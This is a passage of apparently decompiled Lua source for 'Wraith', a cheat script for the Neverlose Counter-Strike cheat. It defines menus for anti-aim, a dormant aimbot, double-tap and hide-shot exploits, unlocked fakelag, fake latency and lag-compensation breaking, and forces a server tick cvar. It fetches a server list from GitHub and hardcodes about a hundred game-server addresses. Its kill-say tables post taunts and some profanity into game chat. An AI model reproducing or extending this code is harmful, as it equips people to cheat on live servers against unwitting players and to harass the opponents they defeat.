            [4] = "respect multiplier is over 9000", 
            [5] = "witness immortality provided by wraith lua", 
            [6] = "what the fuck does playa even mean", 
            [7] = "\226\168\179\226\132\145\226\177\166\226\154\158\226\142\155\201\133\226\159\151\201\128\226\130\162\226\167\150\202\154\226\157\163\226\130\180\226\157\158\226\153\132\226\138\157"
        }, 
        Otario = {
            [1] = "sem ofensa, mas ate com cheats es mau", 
            [2] = "quem ser o proximo?", 
            [3] = "para deixares de ser mau, dirige-te a wraith e podes finalmente ser superior", 
            [4] = "\194\171\194\171\194\171 wraith \194\187\194\187\194\187 patrocinado por CHENTRIC #CHN", 
            [5] = "n fiques irritado, a vida nem sempre corre bem", 
            [6] = "wraith manda cumprimentos para a tua familia toda", 
            [7] = "escrever isto foi demorado, por favor demonstra respeito", 
            [8] = "foste com o vento", 
            [9] = "sai da frente guedes", 
            [10] = "obtem wraith e talvez deixes de chorar", 
            [11] = "dont mind me", 
            [12] = "I'm just that good", 
            [13] = "shooting you with a knife, seems like an easy task", 
            [14] = "wraith owns me and all", 
            [15] = "stress and anger is what you're feeling right now", 
            [16] = "you disgust me", 
            [17] = "owning", 
            [18] = "Who's next?", 
            [19] = "got enough bullets for the whole server", 
            [20] = "'fucking mommies since 1999'"
        }, 
        ChatGPT = {
            [1] = "Outplayed, maybe next time.", 
            [2] = "I came, I saw, I conquered.", 
            [3] = "Take a seat, you\226\128\153ve been schooled.", 
            [4] = "It\226\128\153s not luck, it\226\128\153s skill.", 
            [5] = "You\226\128\153re not even close to my level.", 
            [6] = "Better luck next round.", 
            [7] = "WRAITH supremacy strikes again!", 
            [8] = "It\226\128\153s all about timing and precision.", 
            [9] = "You blinked, I didn\226\128\153t.", 
            [10] = "Breathe in\226\128\166 Breathe out\226\128\166 You\226\128\153re done.", 
            [11] = "Did you really think you stood a chance?", 
            [12] = "Skill issue detected.", 
            [13] = "Don't hate the player, hate the game.", 
            [14] = "Just uninstall, it\226\128\153s for the best.", 
            [15] = "Calculated chaos in action.", 
            [16] = "Aim, shoot, and watch you fall.", 
            [17] = "You got deleted, simple as that.", 
            [18] = "Adapt, overcome, outplay.", 
            [19] = "Consider this a lesson in humility.", 
            [20] = "Outgunned, outplayed, outsmarted.", 
            [21] = "C\226\128\153mon, was that your best?", 
            [22] = "Too slow, too predictable.", 
            [23] = "Another one bites the dust.", 
            [24] = "Boom! Headshot.", 
            [25] = "You snooze, you lose.", 
            [26] = "Did you really think hiding would help?", 
            [27] = "Witness the power of a true gamer.", 
            [28] = "Get good, kid.", 
            [29] = "One shot, one thrill.", 
            [30] = "Time to rethink your strategy.", 
            [31] = "You just walked into your own demise.", 
            [32] = "Not even close to my high score.", 
            [33] = "Stay down, rookie.", 
            [34] = "Caught in my crosshairs.", 
            [35] = "Mind the gap\226\128\166 and your health bar.", 
            [36] = "Like a ghost, unseen and deadly.", 
            [37] = "Taking out the trash, one enemy at a time.", 
            [38] = "Reload and ready for the next.", 
            [39] = "Down you go, try again.", 
            [40] = "You can\226\128\153t escape the inevitable.", 
            [41] = "Simply better, undeniably superior.", 
            [42] = "Respect the skill or face defeat.", 
            [43] = "Another notch on my victory belt.", 
            [44] = "Guess who\226\128\153s in charge now?", 
            [45] = "Welcome to the show, you\226\128\153re the main act.", 
            [46] = "Playing like a pro, winning like a legend.", 
            [47] = "Your defeat was merely a formality.", 
            [48] = "Masterclass in accuracy right there.", 
            [49] = "Ready, aim, annihilate.", 
            [50] = "Too quick, too slick, too good."
        }
    }
};
(function()
    -- upvalues: v78 (ref)
    local v79 = network.get("https://raw.githubusercontent.com/RazBot21/yes/refs/heads/main/allowed_servers.txt");
    if v79 then
        for v80 in v79:gmatch("[^\r\n]+") do
            table.insert(v78.allowed_tourney_servers, v80);
        end;
    end;
end)();
v78.choca = {};
v78.choca = {
    [1] = "45.13.151.154:27015", 
    [2] = "74.91.113.70:27015", 
    [3] = "51.83.150.44:30045", 
    [4] = "181.214.231.253:27043", 
    [5] = "62.122.215.105:6666", 
    [6] = "51.77.47.242:27015", 
    [7] = "181.214.231.253:27050", 
    [8] = "193.111.250.18:26000", 
    [9] = "193.111.250.18:26003", 
    [10] = "45.13.151.160:27015", 
    [11] = "46.174.51.137:7777", 
    [12] = "46.174.55.52:1488", 
    [13] = "62.122.214.55:27015", 
    [14] = "37.230.228.178:1337", 
    [15] = "194.93.2.30:1337", 
    [16] = "37.230.228.148:27015", 
    [17] = "37.230.137.187:27015", 
    [18] = "150.138.78.42:27015", 
    [19] = "150.138.78.42:27020", 
    [20] = "150.138.78.42:27022", 
    [21] = "150.138.78.42:27024", 
    [22] = "150.138.78.42:27029", 
    [23] = "150.138.78.42:27023", 
    [24] = "150.138.78.42:27021", 
    [25] = "150.138.78.42:27027", 
    [26] = "150.138.78.42:27025", 
    [27] = "150.138.78.42:27039", 
    [28] = "150.138.78.42:27031", 
    [29] = "150.138.78.42:27017", 
    [30] = "150.138.78.42:27038", 
    [31] = "150.138.78.42:27028", 
    [32] = "150.138.78.42:27032", 
    [33] = "150.138.78.42:27019", 
    [34] = "150.138.78.42:27036", 
    [35] = "150.138.78.42:27034", 
    [36] = "150.138.78.42:27033", 
    [37] = "150.138.78.42:27018", 
    [38] = "150.138.78.42:27035", 
    [39] = "45.137.207.186:27023", 
    [40] = "45.137.207.186:27016", 
    [41] = "45.137.207.186:27028", 
    [42] = "45.137.207.186:27022", 
    [43] = "45.137.207.186:27025", 
    [44] = "45.137.207.186:27027", 
    [45] = "45.137.207.186:27018", 
    [46] = "45.137.207.186:27021", 
    [47] = "45.137.207.186:27020", 
    [48] = "45.137.207.186:27026", 
    [49] = "45.137.207.186:27029", 
    [50] = "45.137.207.186:27031", 
    [51] = "45.137.207.186:27017", 
    [52] = "45.137.207.186:27030", 
    [53] = "45.137.207.186:27034", 
    [54] = "45.137.207.186:27032", 
    [55] = "45.137.207.186:27033", 
    [56] = "45.137.207.186:27024", 
    [57] = "45.137.207.186:27015", 
    [58] = "45.137.207.186:27019", 
    [59] = "37.230.137.187:27017", 
    [60] = "37.230.137.187:27018", 
    [61] = "37.230.137.187:27016", 
    [62] = "37.230.137.187:27019", 
    [63] = "37.230.137.187:27020", 
    [64] = "37.230.137.187:27024", 
    [65] = "37.230.137.187:27021", 
    [66] = "37.230.137.187:27023", 
    [67] = "37.230.137.187:27022", 
    [68] = "5.252.101.208:27130", 
    [69] = "5.252.101.208:27135", 
    [70] = "5.252.101.208:27140", 
    [71] = "5.252.101.208:27115", 
    [72] = "5.252.101.208:27110", 
    [73] = "5.252.101.208:27120", 
    [74] = "5.252.101.208:27125", 
    [75] = "5.252.101.208:27000", 
    [76] = "5.252.101.208:27015", 
    [77] = "5.252.101.208:27030", 
    [78] = "5.252.101.208:27026", 
    [79] = "5.252.101.208:27036", 
    [80] = "5.252.101.208:27020", 
    [81] = "5.252.101.208:27045", 
    [82] = "5.252.101.208:27060", 
    [83] = "5.252.101.208:27080", 
    [84] = "5.252.101.208:27070", 
    [85] = "5.252.101.208:27055", 
    [86] = "5.252.101.208:27105", 
    [87] = "5.252.101.208:27100", 
    [88] = "5.252.101.208:27090", 
    [89] = "5.252.101.208:27150", 
    [90] = "5.252.101.208:27165", 
    [91] = "5.252.101.208:27160", 
    [92] = "5.252.101.208:27155", 
    [93] = "5.252.101.208:27175", 
    [94] = "5.252.101.208:27170", 
    [95] = "79.137.98.64:27015", 
    [96] = "79.137.98.64:27016", 
    [97] = "79.137.98.64:27017", 
    [98] = "79.137.98.64:27018", 
    [99] = "79.137.98.64:27019", 
    [100] = "79.137.98.64:27020", 
    [101] = "79.137.98.64:27021", 
    [102] = "79.137.98.64:27022", 
    [103] = "79.137.98.64:27024"
};
local function v84(v81)
    -- upvalues: v78 (ref)
    for _, v83 in ipairs(v78.choca) do
        if v81 == v83 then
            return true;
        end;
    end;
    return false;
end;
local v122 = {
    anti_aim = {
        tab = v66.anti_aim.tabs:list("", {
            [1] = v64.user_group_crown .. "   Anti-aim", 
            [2] = v64.shield .. "   \226\128\137Defensive", 
            [3] = v64.misc .. "   \226\128\138Settings"
        }), 
        stances_list = v66.anti_aim.anti_aim_stances:list("", v67.stances), 
        instant_stance = v66.anti_aim.extras:switch("" .. v64.austral_sign .. "   \rInstant stance", false, "Forces an anti-aim stance update despite of lag cycle"), 
        aa_override = v66.anti_aim.extras:switch(v64.indicator .. "  AA Override", false, function(v85)
            return {
                force_static = v85:switch("Force static angle", false), 
                color2 = v85:color_picker("Hold", color(255, 0, 0, 255)), 
                color = v85:color_picker("Release", color(0, 255, 0, 255)), 
                size = v85:slider("Size", 20, 100, 20), 
                deadzone = v85:slider("Dead zone", 20, 100, 50), 
                zone_size = v85:slider("Post dead zone", 110, 300, 300)
            };
        end), 
        yaw_avoid_backstab = v66.anti_aim.extras:switch(v64.backstab .. "  Anti backstab", false, "Prevents you from getting stabbed in the back"), 
        freestanding = v66.anti_aim.extras:switch(" " .. v64.freestander .. "   Freestanding", false), 
        mforward = v66.anti_aim.extras:hotkey(v64.up .. "  Manual forward", 0), 
        mbackward = v66.anti_aim.extras:hotkey(v64.down .. "  Manual backwards", 0), 
        mleft = v66.anti_aim.extras:hotkey(v64.left .. "  Manual left", 0), 
        mright = v66.anti_aim.extras:hotkey(v64.right .. "  Manual right", 0), 
        mreset = v66.anti_aim.extras:hotkey(v64.reset .. "  Manual reset", 0)
    }, 
    visuals = {
        tab = v66.visuals.tabs:list("", {
            [1] = v64.paintbrush .. "  \226\128\138Core indicators", 
            [2] = v64.screwdriver_wrench .. "   Utility", 
            [3] = v64.toolbox .. "   Other"
        }), 
        indicator_builder = v66.visuals.builder:switch(v64.indicator .. "  Indicator", false, function(v86)
            return {
                font = v86:combo("Font", {
                    [1] = "Small", 
                    [2] = "Default", 
                    [3] = "Console", 
                    [4] = "Bold", 
                    [5] = "SA-MP"
                }), 
                casing = v86:combo("Casing", {
                    [1] = "Lower", 
                    [2] = "Upper"
                }), 
                vertical_spacing = v86:slider("Vertical spacing", -3, 3, -1), 
                align_right = v86:combo("Align right", {
                    [1] = "Never", 
                    [2] = "On scope", 
                    [3] = "Always"
                }), 
                scope_anim_speed = v86:slider("Scope anim speed", 5, 20, 10), 
                grenade_dim = v86:switch("Dim on grenade", true), 
                grenade_dim_amount = v86:slider("Alpha", 50, 150, 50)
            };
        end), 
        indicators_level_1 = v66.visuals.builder:switch(v64.signature .. " Heading", false, function(v87)
            return {
                style = v87:combo("Style", {
                    [1] = "Wraith", 
                    [2] = "Half-life"
                }, color(255, 255, 255, 210)), 
                build = v87:switch("Build", true, color(255, 203, 164, 210)), 
                pulse = v87:switch("Pulse", true)
            };
        end), 
        indicators_level_2 = v66.visuals.builder:switch(" " .. v64.angle_90 .. "  Anti-aim info", false, function(v88)
            return {
                style = v88:combo("Type", {
                    [1] = "Desync", 
                    [2] = "Desync percentage", 
                    [3] = "Half-life"
                }), 
                safe = v88:switch("Safe", true, color(228, 187, 228, 210), "Active during height stance"), 
                defensive = v88:switch("Defensive", true, color(255, 255, 255, 210))
            };
        end), 
        indicators_level_3 = v66.visuals.builder:switch(v64.shield_xmark .. " " .. " Exploits", false, function(v89)
            return {
                dt = v89:combo("Double tap", {
                    [1] = "DT", 
                    [2] = "Doubletap"
                }), 
                os = v89:combo("Hide shots", {
                    [1] = "OS", 
                    [2] = "On shot"
                }), 
                qp = v89:combo("Quick peek", {
                    [1] = "None", 
                    [2] = "QP", 
                    [3] = "Quickpeek", 
                    [4] = "Idealtick"
                }), 
                qp_retreat = v89:combo("Retreat", {
                    [1] = "None", 
                    [2] = "RT", 
                    [3] = "Retreat"
                }), 
                animate_text = v89:switch("Animate text", true)
            };
        end), 
        indicators_level_4 = v66.visuals.builder:switch(v64.ellipsis_stroke .. "  Binds", false, "Make sure to enable \"Show in Hotkeys\" for \"Min. damage and \"Hit chance\"", function(v90)
            return {
                item_1 = v90:combo("Item 1", {
                    [1] = "Safe point", 
                    [2] = "Body aim", 
                    [3] = "Freestanding", 
                    [4] = "Manual AA", 
                    [5] = "Min. damage", 
                    [6] = "Hit chance"
                }), 
                item_2 = v90:combo("Item 2", {
                    [1] = "Safe point", 
                    [2] = "Body aim", 
                    [3] = "Freestanding", 
                    [4] = "Manual AA", 
                    [5] = "Min. damage", 
                    [6] = "Hit chance"
                }), 
                item_3 = v90:combo("Item 3", {
                    [1] = "Safe point", 
                    [2] = "Body aim", 
                    [3] = "Freestanding", 
                    [4] = "Manual AA", 
                    [5] = "Min. damage", 
                    [6] = "Hit chance"
                }), 
                baim = v90:combo("Body aim", {
                    [1] = "Baim", 
                    [2] = "Body"
                }), 
                safe = v90:combo("Safe point", {
                    [1] = "Sp", 
                    [2] = "Safe"
                }), 
                manual = v90:combo("Manual AA", {
                    [1] = "Mx", 
                    [2] = "Ma"
                }), 
                md = v90:combo("Min. damage", {
                    [1] = "Md", 
                    [2] = "Min"
                }, "Make sure to enable \"Show in Hotkeys\"")
            };
        end), 
        indicators_level_5 = v66.visuals.builder:switch(v64.border_bottom .. "   Extra", false, function(v91)
            return {
                stance = v91:switch("Anti-aim stance", true, color(255, 255, 255, 150)), 
                animate_text = v91:switch("Animate text", true)
            };
        end), 
        defensive_indicator = v66.visuals.indicators:switch(v64.shield .. "   Defensive indicator", false, function(v92)
            return {
                color = v92:color_picker("Color", color(255, 255, 255, 255))
            };
        end), 
        slow_indicator = v66.visuals.indicators:switch(v64.speed .. "   Slowdown indicator", false, function(v93)
            return {
                color = v93:color_picker("Color", color(255, 255, 255, 255))
            };
        end), 
        min = v66.visuals.indicators:switch(v64.min .. "   Minimum damage indicator", false), 
        vis_logs = v66.visuals.indicators:switch(v64.note .. "   Visualize logs", false, function(v94)
            return {
                log_style = v94:combo("Style", {
                    [1] = "Simple", 
                    [2] = "Original"
                }), 
                log_type = v94:selectable("Log", {
                    [1] = "Fire", 
                    [2] = "Hit", 
                    [3] = "Miss", 
                    [4] = "Tournament", 
                    [5] = "System"
                }), 
                log_where = v94:selectable("Where", {
                    [1] = "Console", 
                    [2] = "Developer", 
                    [3] = "Center"
                })
            };
        end), 
        samp_logs = v66.visuals.indicators:switch(v64.person_rifle .. "  SA-MP damage logs", false), 
        left_side_indicators = v66.visuals.indicators:switch(" \239\142\156    Left side indicators", false, function(v95)
            return {
                le_list = v95:listable("buy high sell low", {
                    [1] = "Bomb", 
                    [2] = "Freestanding", 
                    [3] = "Hit chance", 
                    [4] = "Min. damage", 
                    [5] = "Force body aim", 
                    [6] = "Force safe point", 
                    [7] = "Dormant aimbot", 
                    [8] = "Fake duck", 
                    [9] = "Hide shots", 
                    [10] = "Double tap", 
                    [11] = "Fake latency", 
                    [12] = "Fake lag", 
                    [13] = "Lag compensation"
                })
            };
        end), 
        break_lc_manager = v66.visuals.indicators:switch("\239\149\133  Lag compensation", false, function(v96)
            return {
                indicator = v96:selectable("Indicator", {
                    [1] = "Distance", 
                    [2] = "Background"
                }), 
                font = v96:combo("Font", {
                    [1] = "Small", 
                    [2] = "Default", 
                    [3] = "Console", 
                    [4] = "Bold", 
                    [5] = "SA-MP", 
                    [6] = "GTA-SA"
                }), 
                sound = v96:switch("LC hitsound", true, "Plays a sound whenever you break lc successfully")
            };
        end), 
        default_watermark = v66.visuals.other:switch(v64.watermelon_slice .. "   Watermark", true, color(255, 255, 255, 220)), 
        spectator_list = v66.visuals.other:switch(v64.eye .. "   Spectator list", false, function(v97)
            return {
                side = v97:combo("Side", {
                    [1] = "Right", 
                    [2] = "Left"
                })
            };
        end), 
        custom_scope = v66.visuals.other:switch(v64.crosshairs_simple .. "   Custom scope", false, function(v98)
            return {
                color = v98:color_picker("Color", color(255, 255, 255, 255)), 
                size = v98:slider("Size", 20, 300, 70)
            };
        end), 
        hitmarker_option = v66.visuals.other:switch(v64.xmark .. "    Hitmarker", false, function(v99)
            return {
                hitmarker_2d = v99:switch("2D Hitmarker", true), 
                hitmarker_3d = v99:switch("3D Hitmarker", true), 
                hitmarker_color = v99:color_picker("Hitmarker color", color(255, 255, 255, 255)), 
                hitmarker_color_kill = v99:color_picker("Hitmarker color kill", color(255, 0, 0, 255)), 
                hitmarker_duration_2d = v99:slider("Duration", 1, 10, 10), 
                hitmarker_duration_3d = v99:slider("Duration 3D", 1, 10, 10)
            };
        end), 
        miss_circle = v66.visuals.other:switch(v64.circle .. "   Miss marker", false, function(v100)
            return {
                circle_color = v100:color_picker("Circle color", color(255, 255, 255, 255)), 
                circle_duration = v100:slider("Duration", 3, 10, 10)
            };
        end), 
        kill_count_option = v66.visuals.other:switch(v64.user_xmark .. "  Kill count", false, function(v101)
            return {
                kill_count_icon_color = v101:color_picker("Icon color", color(255, 255, 255, 240)), 
                kill_count_text_color = v101:color_picker("Text color", color(255, 255, 255, 220)), 
                kill_count_limit = v101:slider("Minimum kills", 0, 6, 4)
            };
        end, "Renders above the player with more kills than the minimum set."), 
        hide_viewmodel = v66.visuals.other:switch(v64.gun_slash .. "  Hide viewmodel", false), 
        aspect_ratio = v66.visuals.other:switch("\226\128\138\239\128\190  \226\128\138Aspect ratio", false, function(v102)
            return {
                slider = v102:slider("Value", 0, 200, 0, 0.01, function(v103)
                    if v103 == 0 then
                        return "Disabled";
                    elseif v103 == 150 then
                        return "3:2";
                    elseif v103 == 133 then
                        return "4:3";
                    elseif v103 == 125 then
                        return "5:4";
                    elseif v103 == 178 then
                        return "16:9";
                    elseif v103 == 160 then
                        return "16:10";
                    else
                        return v103 / 100 .. "%";
                    end;
                end), 
                clickme = v102:label("Presets"), 
                button_3_2 = v102:button("3:2"), 
                button_4_3 = v102:button("4:3"), 
                button_5_4 = v102:button("5:4"), 
                button_16_9 = v102:button("16:9"), 
                button_16_10 = v102:button("16:10")
            };
        end)
    }, 
    misc = {
        tab = v66.misc.tabs:list("", {
            [1] = v64.home .. "   Home", 
            [2] = "\226\128\138" .. v64.bars .. "   \226\128\138Miscellaneous", 
            [3] = v64.trophy .. "   Tournament", 
            [4] = " " .. v64.config .. "   \226\128\138Config"
        }), 
        welcome_label = v66.misc.logo:label("fixed by piscar"), 
        username_label = v66.misc.logo:label("name "), 
        username_button = v66.misc.logo:button("\v" .. v46, true, true), 
        version_label = v66.misc.logo:label("version"), 
        version_button = v66.misc.logo:button("\vbeta", true, true), 
        display_leaderboard = v66.misc.tournament2:switch("Display leaderboard", false), 
        tournament_label = v66.misc.tournament1:label("\vWraith Respect Spree Tournament\n\n\rYou're currently at place #N/A in the leaderboard"), 
        tournament_learn_more = v66.misc.tournament1:button("Learn more", function()
            panorama.SteamOverlayAPI.OpenExternalBrowserURL("https://www.discord.gg/lby");
        end), 
        automatic_server_updates = v66.misc.tournament1:switch(v64.repeaticon .. "   Auto sync", false, "Retries automatically to the tournament server upon losing connection. (Recommended)"), 
        respect_panel = v66.misc.tournament1:switch(v64.face_saluting .. "  Respect panel", false, "Make sure to select at least one item.", function(v104)
            return {
                items = v104:selectable("Items", {
                    [1] = "Total respect", 
                    [2] = "Level", 
                    [3] = "Level respect", 
                    [4] = "Needed respect", 
                    [5] = "Spree", 
                    [6] = "Highest spree"
                }), 
                titles_font = v104:combo("Titles font", {
                    [1] = "Small", 
                    [2] = "Default", 
                    [3] = "Console", 
                    [4] = "Bold", 
                    [5] = "SA-MP", 
                    [6] = "GTA-SA"
                }), 
                values_font = v104:combo("Values font", {
                    [1] = "Small", 
                    [2] = "Default", 
                    [3] = "Console", 
                    [4] = "Bold", 
                    [5] = "SA-MP", 
                    [6] = "GTA-SA"
                }), 
                casing = v104:combo("Casing", {
                    [1] = "Lower", 
                    [2] = "Upper", 
                    [3] = "Capitalize", 
                    [4] = "Capitalize first char"
                }), 
                title_color = v104:color_picker("Titles color", color(210, 210, 255, 230)), 
                values_color = v104:color_picker("Values color", color(255, 255, 255, 230)), 
                alignment = v104:combo("Alignment", {
                    [1] = "Default", 
                    [2] = "Center"
                })
            };
        end), 
        spree_notif = v66.misc.tournament1:switch(v64.comment .. "   Spree notifications"), 
        spree_clan_tag = v66.misc.tournament1:switch(v64.tag .. "    Tournament clan tag"), 
        level_up_sound = v66.misc.tournament1:switch(v64.music_note .. "    Level up sound", false, function(v105)
            return {
                sound = v105:combo("Sound", {
                    [1] = "Case opening", 
                    [2] = "Accept match", 
                    [3] = "X-ray"
                }), 
                volume = v105:slider("Volume", 1, 15, 5)
            };
        end), 
        tournament_watermark = v66.misc.tournament1:switch(v64.trademark .. "   Tournament watermark", false, function(v106)
            return {
                color = v106:color_picker("Color", color(0, 0, 0, 100))
            };
        end), 
        leaderboard = v66.misc.tournament2:label("Please refresh"), 
        update_button = v66.misc.tournament2:button("Refresh"), 
        search_bar_leaderboard = v66.misc.tournament3:input("Player's name", "razoto"), 
        search_button = v66.misc.tournament3:button(v64.magnifying_glass .. "  Search"), 
        search_board = v66.misc.tournament3:label("Search down"), 
        discord_label = v66.misc.socials:label(v64.discord .. "   Discord"), 
        discord = v66.misc.socials:button("\aFFFFFFFF" .. v64.link .. " Join", function()
            panorama.SteamOverlayAPI.OpenExternalBrowserURL("https://discord.gg/lby");
        end), 
        get_code_button = v66.misc.socials:button(v64.key .. "  Code"), 
        youtube_label = v66.misc.socials:label(v64.yt .. "   YouTube"), 
        youtube = v66.misc.socials:button("\aFFFFFFFF" .. v64.link .. " URL", function()
            panorama.SteamOverlayAPI.OpenExternalBrowserURL("https://www.youtube.com/@razhvh");
        end), 
        config_label = v66.misc.socials:label(" " .. v64.config .. "    Config"), 
        kfg = v66.misc.socials:button("\aFFFFFFFF" .. v64.link .. "  Get", function()
            panorama.SteamOverlayAPI.OpenExternalBrowserURL("https://neverlose.cc/market/item?id=CA5iFZ");
        end), 
        quick_retreat = v66.misc.movement:switch(v64.peek .. "   Quick retreat", false, function(v107)
            return {
                activate_during = v107:selectable("Activate during", {
                    [1] = "Fakelag", 
                    [2] = "Defensive escape", 
                    [3] = "Dry peek"
                }, "*IMPORTANT* Only enable dry peek in no lag peek servers, it will ruin the performance of the aimbot otherwise."), 
                retreat_features = v107:selectable("Options", {
                    [1] = "Preferred weapons only", 
                    [2] = "Preserve last weapon", 
                    [3] = "Auto scope"
                }), 
                take_knife_ticks = v107:slider("Gun draw delay", 0, 15, 7, 1, function(v108)
                    if v108 == 0 then
                        return "auto";
                    else
                        return v108 .. "t";
                    end;
                end)
            };
        end), 
        disable_os = v66.misc.general:switch(v64.hide .. "  Remove hide shots on dt", false), 
        unlock_fakelag = v66.misc.lag_comp:switch("\239\143\129  \226\128\138Unlock fakelag", false, function(v109)
            return {
                slider = v109:slider("Value", 1, 64, 16, 1, function(v110)
                    return v110 .. "t";
                end)
            };
        end, "Advanced users only"), 
        custom_fakelag = v66.misc.lag_comp:switch("\239\146\186\226\128\138   In air fakelag", false, function(v111)
            return {
                slider = v111:slider("LC cut", 0, 20, 3, 1, function(v112)
                    if v112 == 0 then
                        return "auto";
                    else
                        return v112 .. "t";
                    end;
                end)
            };
        end), 
        airlag = v66.misc.lag_comp:switch("\239\154\181\226\128\138\226\128\138  Air lag", false, function(v113)
            return {
                on_hit = v113:switch("On hit only", false, "Helps ensure the enemy misses the first shot."), 
                delay = v113:switch("Smart delay", true, "Highly recommended."), 
                prefer_lc = v113:switch("Prefer break lc", false, "Prevents small teleports.")
            };
        end, "Requires double tap enabled and only runs perfectly on certain conditions."), 
        teleport_recharge = v66.misc.lag_comp:switch("\238\129\130    Teleport & recharge", false, function(v114)
            return {
                recharge_delay = v114:slider("Recharge delay", 0, 10, 0, 0.1), 
                minimum_charge = v114:slider("Minimum charge", 1, 10, 0, 10, function(v115)
                    return math.floor(v115 + 0.5) * 10 .. "%";
                end)
            };
        end, "Each time this feature is enabled, player teleports and recharges exploits. Bind as hold only."), 
        anims = v66.misc.general:switch(v64.anim .. "   Client-side animations", false, function(v116)
            return {
                anim_list = v116:selectable("Classic", {
                    [1] = "Land pitch", 
                    [2] = "Air walk", 
                    [3] = "Moon walk", 
                    [4] = "Fake walk", 
                    [5] = "Slide", 
                    [6] = "Slide spam", 
                    [7] = "Smoothing"
                }), 
                leg_anims = v116:combo("Legs", {
                    [1] = "Off", 
                    [2] = "Legacy (accurate)", 
                    [3] = "Legacy (forced)", 
                    [4] = "Spam"
                }), 
                fire_anims = v116:selectable("Rage fire", {
                    [1] = "Hide pitch updates", 
                    [2] = "Hide yaw updates"
                }), 
                hide_defensive = v116:selectable("Defensive", {
                    [1] = "Hide pitch updates", 
                    [2] = "Suppress yaw updates"
                }), 
                troll_anims = v116:combo("Goofy", {
                    [1] = "Off", 
                    [2] = "Blind", 
                    [3] = "Mini mode", 
                    [4] = "T-pose", 
                    [5] = "Wave", 
                    [6] = "Arrested."
                })
            };
        end), 
        dormente_simbot = v66.misc.general:switch(v64.crosshair .. "   Dormant aimbot", false, function(v117)
            return {
                hitchance = v117:slider("Hit chance", 1, 100, 70), 
                accuracy = v117:slider("Minimum decay", 1, 100, 90), 
                inherit_damage = v117:switch("Inherit ragebot damage", true), 
                min_dmg = v117:slider("Minimum damage", 1, 100, 1)
            };
        end), 
        kill_say = v66.misc.general:selectable(v64.skull .. "   Kill say", {
            [1] = "Original", 
            [2] = "New", 
            [3] = "Otario", 
            [4] = "ChatGPT"
        }, function(v118)
            return {
                remove_ascii = v118:switch("Skip ASCII characters", false), 
                mention_enemy = v118:switch("Mention enemy name", false), 
                delay_duration = v118:slider("Delay", 0, 5, 1)
            };
        end), 
        fps_optimizations_toggle = v66.misc.general:switch(v64.fps_boost .. "   FPS optimizations", false, function(v119)
            return {
                options = v119:selectable("Options", {
                    [1] = "3D sky", 
                    [2] = "Fog", 
                    [3] = "Shadows", 
                    [4] = "Blood", 
                    [5] = "Decals", 
                    [6] = "Bloom", 
                    [7] = "Ragdolls", 
                    [8] = "Eye candy", 
                    [9] = "Molotov fire", 
                    [10] = "Rain", 
                    [11] = "Other"
                })
            };
        end), 
        disable_viewangles_strafer = v66.misc.movement:switch(" " .. v64.chess_bishop_piece .. "    WASD Strafe standalone", false, "Removes the viewangles strafing option, stopping strafer action when not holding movement keys"), 
        fast_ladder = v66.misc.movement:switch(v64.escalator .. "  Fast ladder", false), 
        fake_latency = v66.misc.general:slider(v64.signal .. "  Fake latency", 0, 200, 0), 
        shared_users = v66.misc.general:switch(v64.earth_americas .. "   Shared users", false, function(v120)
            return {
                esp_flag = v120:switch("Flag", false), 
                scoreboard_icon = v120:switch("Scoreboard icon", false)
            };
        end), 
        whitelist_users = v66.misc.general:switch(v64.user_shield .. "  Whitelist users", false, function(v121)
            return {
                esp_flag = v121:switch("Flag", false)
            };
        end)
    }
};
v122.misc.unlock_fakelag:set_callback(function()
    -- upvalues: v122 (ref)
    if not v122.misc.unlock_fakelag.value then
        cvar.sv_maxusrcmdprocessticks:int(16, true);
    else
        cvar.sv_maxusrcmdprocessticks:int(v122.misc.unlock_fakelag.slider.value + 2, true);
    end;
end);
v122.misc.unlock_fakelag.slider:set_callback(function()
    -- upvalues: v122 (ref)
    if v122.misc.unlock_fakelag.value then
        cvar.sv_maxusrcmdprocessticks:int(v122.misc.unlock_fakelag.slider.value + 2);
    end;
end, true);
v122.visuals.aspect_ratio:set_callback(function()
    -- upvalues: v122 (ref)
    if not v122.visuals.aspect_ratio.value then
        cvar.r_aspectratio:float(0);
    else
        cvar.r_aspectratio:float(v122.visuals.aspect_ratio.slider.value / 100);
    end;
end);
v122.visuals.aspect_ratio.slider:set_callback(function()
    -- upvalues: v122 (ref)
    if v122.visuals.aspect_ratio.value then
        cvar.r_aspectratio:float(v122.visuals.aspect_ratio.slider.value / 100);
    end;
end, true);
v122.visuals.aspect_ratio.button_3_2:set_callback(function()
    -- upvalues: v122 (ref)
    v122.visuals.aspect_ratio.slider:set(150);
end, true);
v122.visuals.aspect_ratio.button_4_3:set_callback(function()
    -- upvalues: v122 (ref)
    v122.visuals.aspect_ratio.slider:set(133);
end, true);
v122.visuals.aspect_ratio.button_5_4:set_callback(function()
    -- upvalues: v122 (ref)
    v122.visuals.aspect_ratio.slider:set(125);
end, true);
v122.visuals.aspect_ratio.button_16_9:set_callback(function()
    -- upvalues: v122 (ref)
    v122.visuals.aspect_ratio.slider:set(178);
end, true);
v122.visuals.aspect_ratio.button_16_10:set_callback(function()
    -- upvalues: v122 (ref)
    v122.visuals.aspect_ratio.slider:set(160);
end, true);
local function v124()
    -- upvalues: v78 (ref), v122 (ref)
    if v78.ui_alpha <= 0 then
        return;
    else
        local v123 = v78.respect_system.respect_placement or "N/A";
        v122.misc.tournament_label:set_name("\vWraith Respect Spree Tournament\n\n\rYou're currently at place #" .. v123 .. " in the leaderboard");
        return;
    end;
end;
v122.anti_aim.stances = {};
for _, v126 in ipairs(v67.stances) do
    v122.anti_aim.stances[v126] = {};
    v122.anti_aim.stances[v126].active = v66.anti_aim.builder:switch(v64.user_group_crown .. "  \v" .. v126 .. " ~ \rEnable", false);
    v122.anti_aim.stances[v126].pitch = v66.anti_aim.builder:combo("Pitch \n" .. v126, {
        [1] = "Disabled", 
        [2] = "Down", 
        [3] = "Fake down", 
        [4] = "Fake up"
    });
    do
        local l_v126_0 = v126;
        v122.anti_aim.stances[l_v126_0].yaw = v66.anti_aim.builder:combo("Yaw \n" .. l_v126_0, {
            [1] = "Disabled", 
            [2] = "Backward", 
            [3] = "Static", 
            [4] = "Spin"
        }, function(v128)
            -- upvalues: l_v126_0 (ref)
            return {
                yaw_base = v128:combo("Base \n" .. l_v126_0, {
                    [1] = "At target", 
                    [2] = "Local view"
                }), 
                yaw_offset = v128:slider("Offset \n" .. l_v126_0, -180, 180, 0)
            };
        end);
        v122.anti_aim.stances[l_v126_0].yaw_modifier = v66.anti_aim.builder:combo("Yaw modifier \n" .. l_v126_0, {
            [1] = "Disabled", 
            [2] = "Center", 
